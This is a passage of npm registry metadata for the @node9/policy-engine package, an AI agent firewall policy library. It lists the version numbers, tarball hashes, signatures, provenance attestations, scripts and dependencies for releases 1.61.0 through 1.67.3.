xo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.61.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"07d40b12f6a8cbe5249889d8a304c1bababfc9e9","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.61.0_1783923117931_0.8940495539693885","host":"s3://npm-registry-packages-npm-production"}},"1.61.1":{"name":"@node9/policy-engine","version":"1.61.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.61.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"b4ed6f5bf26098d6bb6c7f3e15dad836522e3796","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.61.1.tgz","fileCount":7,"integrity":"sha512-kGKo72+jwGdAds5JyA2XzkQIqczeFtF0WAqQZJlFzZjaFWZ/WCWYpMCLmsx7Kxb1wE4NBay12A/rJek01Gq6Yg==","signatures":[{"sig":"MEUCIFNyE8oUNRVkuvtw9LdkjLv9/I8t5NOZcN8WwLQcQeNCAiEArro3zqRjDk+wxtX4WuVgH+8ziHmnzIrDLC3LkeUKCKo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.61.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":373026},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"7d58d9ba2e59df8cb43cd6e89018623a6b41dcac","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.61.1_1784043037063_0.15858831173533017","host":"s3://npm-registry-packages-npm-production"}},"1.62.0":{"name":"@node9/policy-engine","version":"1.62.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.62.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"ea2723e3f56faa1362deff957de7812567d4c27b","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.62.0.tgz","fileCount":7,"integrity":"sha512-4VZ5tuUi39q6ht/SOY3ouOxIUTDUcJyl8L+IEWz/8qm9ReE9WSNKycqUxk1HSAWjCSwipwd2CtzqjHi3kXjlDA==","signatures":[{"sig":"MEYCIQC3/cmujSoevhebopCDIgqVpxvQC3R0hYf7nF0w/2xE5gIhALVCO3tztijS5iFZw/0Qh7ehbEXVrxQ8Sq0fq9YtHClI","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.62.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":378468},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2178a523463bb37f146ec5ba91bef21b23a41fb5","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.62.0_1784230582471_0.9631300563889582","host":"s3://npm-registry-packages-npm-production"}},"1.62.1":{"name":"@node9/policy-engine","version":"1.62.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.62.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"bd08a3fe94f8bc76246a6123b8135449243669d2","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.62.1.tgz","fileCount":7,"integrity":"sha512-Ir55XYhvJ7ee/UV8V8cVWn4glTjHKFC+TBG22xaR626aAxBEp4VKp412C4Hc3m4HF2/gH74tRsmWjaspQey8eQ==","signatures":[{"sig":"MEUCIFzaNLVBQCTH2AFuAQhV/kwXrOMZ0e4JXAxZLmBhhHfuAiEAtXWyITqqNWjC6vd5LKJJ7p76M9hU7QACwGxkTZzwqx8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.62.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":378468},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"899348566602251b2f34497c5bf3286ac7e89aba","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.62.1_1784234934128_0.5320127625360112","host":"s3://npm-registry-packages-npm-production"}},"1.63.0":{"name":"@node9/policy-engine","version":"1.63.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.63.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"339d11d211f1228f37f5acbd61b12f5460f97c38","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.63.0.tgz","fileCount":7,"integrity":"sha512-MQE/QSxaTvVS8oTWT8Emau/JNrgrqKyTRlc1zJGsOyKfJ51VSO4AYVRHOvs9kVUy6d4QPNXqHwC23AcrtGXZjg==","signatures":[{"sig":"MEQCICn+ZDJi4RfJLIN9y8z8nimlWXOYd0lB8t+CWwGRZaGtAiB9TM9ufogn/TkCg4pbJz+geXrXaJlF31BgFoQ3fljXPw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.63.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":378468},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"d32f9ae0152a075e2203c0d6ffbe9824b89b77fe","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.63.0_1784289481320_0.5098190695687648","host":"s3://npm-registry-packages-npm-production"}},"1.64.0":{"name":"@node9/policy-engine","version":"1.64.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.64.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"da90c99d3893698c21820f97e9cf34ef3b2f7567","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.64.0.tgz","fileCount":7,"integrity":"sha512-Lt2OLXqE9N6oJSNOZ9ABfmxtwAYgQWMCOwjrDkkN5o3xHcAsAZ4oLP396Lr4ICDk+IwGhb66Rx9+6wKItpfb1w==","signatures":[{"sig":"MEUCIQDJUhH6K/ha8xSbrXgCMwyirPh0SF1gNkRhfdHpsnLF+wIgSkD2IsAlZd2u/5DeqVxwOwskek/0WlWje2zkBYyzpHc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.64.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":380564},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b051ff06be33305a3ce2c2f5b56ed62ddf1e788a","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.64.0_1784904736397_0.5152455040394346","host":"s3://npm-registry-packages-npm-production"}},"1.65.0":{"name":"@node9/policy-engine","version":"1.65.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.65.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"1115250689211a640b6fa97f56bb39964d3d6da4","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.65.0.tgz","fileCount":7,"integrity":"sha512-gS6VquGOUMD6JVSWukVWNplM5DSutWqreDCm5ZeXQpteE1O4m2rYhrZXkq6xEljfwANVpw55GAo9IhJ0ZNtDyg==","signatures":[{"sig":"MEUCIQDKVLTdHRsdh/lUpTncfrJFSOXAWT68OOz1y7D30jdYCQIgeSsXst71c/I2vS/k76YJ6Zc3G7DkCWBFvQ5+BtbFrzQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.65.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":380564},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"d8cc390a0ff0dd39af74440a266b457b4951e822","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.65.0_1784925207906_0.3453237983662276","host":"s3://npm-registry-packages-npm-production"}},"1.65.1":{"name":"@node9/policy-engine","version":"1.65.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.65.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"887fa0d851c445d661f466995565af59afadaa11","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.65.1.tgz","fileCount":7,"integrity":"sha512-wiW5X1yPz6gAmuBDLIwiFTRrmZua6zFMIcHV2WIsleUJpULw5txC3l9s8cKXuLyCXW7lFGE5VmLCbrssOUYlOQ==","signatures":[{"sig":"MEUCIQCMyTyxMLWj7pBobtT6gkfq4dko3ffQnE/BQnG7iqtTGQIgMTmuHznATTkyfKuCXnv0S6DOosfsHGfIxjMne7xrLSY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.65.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":380564},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"ebee974422e5f4f9156903ea412f0df19c19eb06","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.65.1_1784970459769_0.10896101162185468","host":"s3://npm-registry-packages-npm-production"}},"1.66.0":{"name":"@node9/policy-engine","version":"1.66.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.66.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"1208e471629e295792816172b8e631c87d600365","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.66.0.tgz","fileCount":7,"integrity":"sha512-SIABke7hrQalnWCY2FW9ZYOb8o2euYl/erkK7QTe9956ea+Pwq1/J6XOHlqsUG027bvNuggoK+PF6i0Be4oNrA==","signatures":[{"sig":"MEQCID6XTnUAD9oV8ILfhU2bIrZuWPkE8YRR6yUeqyuzflMDAiBwe+GDiaYxUPhU5Wf0B1PCzN+lU40dUz2cuJQEB76YVQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.66.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":381596},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"4b1f3769d2f4a8fc1f29ecdac33c3a0bd06ece69","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.66.0_1785008613948_0.5421611844047265","host":"s3://npm-registry-packages-npm-production"}},"1.67.0":{"name":"@node9/policy-engine","version":"1.67.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.67.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"958e9ad26160f063e4a7dd13c0d256f72910798d","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.67.0.tgz","fileCount":7,"integrity":"sha512-U0pHx2m0i03pySW30KOHTEZf0PSCA5jdip11ACmYh78Uy/tFDO+g2G6oogv6qrzPfWVFlZZPi8QXNzJasPmSVQ==","signatures":[{"sig":"MEUCIQDao7fD7flC6pzh9d9FP/sivNeF9X3XsP4TdRP+jjGdgQIgaNyiBMzOzWF2FUpB1ixXQ9il7BWDk8X1B6KQEAaDJeQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.67.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":387630},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1c03f00ff60aec65979386e9f6a6f4519d32c4cc","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.67.0_1785076925570_0.2501494802118469","host":"s3://npm-registry-packages-npm-production"}},"1.67.1":{"name":"@node9/policy-engine","version":"1.67.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.67.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"a2c5a2dd64e35c1407d25cb3bdf07b32bcce9d56","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.67.1.tgz","fileCount":7,"integrity":"sha512-J/HsKeVGjxTrBNZt4p27tH9xPPPqK9ZixNwJnUL6VY86sPMyCQLdxlWdcAVz5se21hadk76uybtVvOm710pB4w==","signatures":[{"sig":"MEUCIC8x1/rW08UItc6RyeBRQwGQebwErJHdDf0VKrFekLMdAiEAsGpWO6GIjR/JqgJf9H2NXfvNGVQsvZKoNRctsLR2WzU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.67.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":387630},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a2ce05cdcd40d4852d23326517a5b16d92574b65","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.67.1_1785155554104_0.7407242534056093","host":"s3://npm-registry-packages-npm-production"}},"1.67.2":{"name":"@node9/policy-engine","version":"1.67.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.67.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"3c4054c6b265563229ac6ff7a11e4bb29554874e","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.67.2.tgz","fileCount":7,"integrity":"sha512-lmBXo4QomjzkRhtOxdg6QSQ5Rh1YqW4VYf8cw/hxnoFoH/00iosHgNra1pFjPW6tXgwS36gwbQVXtF4mBqLSiw==","signatures":[{"sig":"MEUCIETN5D2WeFdqhZqRXW9KoCd1HQbiyNvk3EM7qU8LwqcIAiEAxMS9h3/ZORFifp56fuDgIyRJwXCpzmzFx74kMDon2HE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.67.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":407532},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"d62bfc8b4e846c9da891aedc1c50b90de8fd2a71","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.67.2_1787222485521_0.49005862601453587","host":"s3://npm-registry-packages-npm-production"}},"1.67.3":{"name":"@node9/policy-engine","version":"1.67.3","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.67.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"cbfbb5583ca040148ca7798469d992f52260384d","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.67.3.tgz","fileCount":7,"integrity":"sha512-TW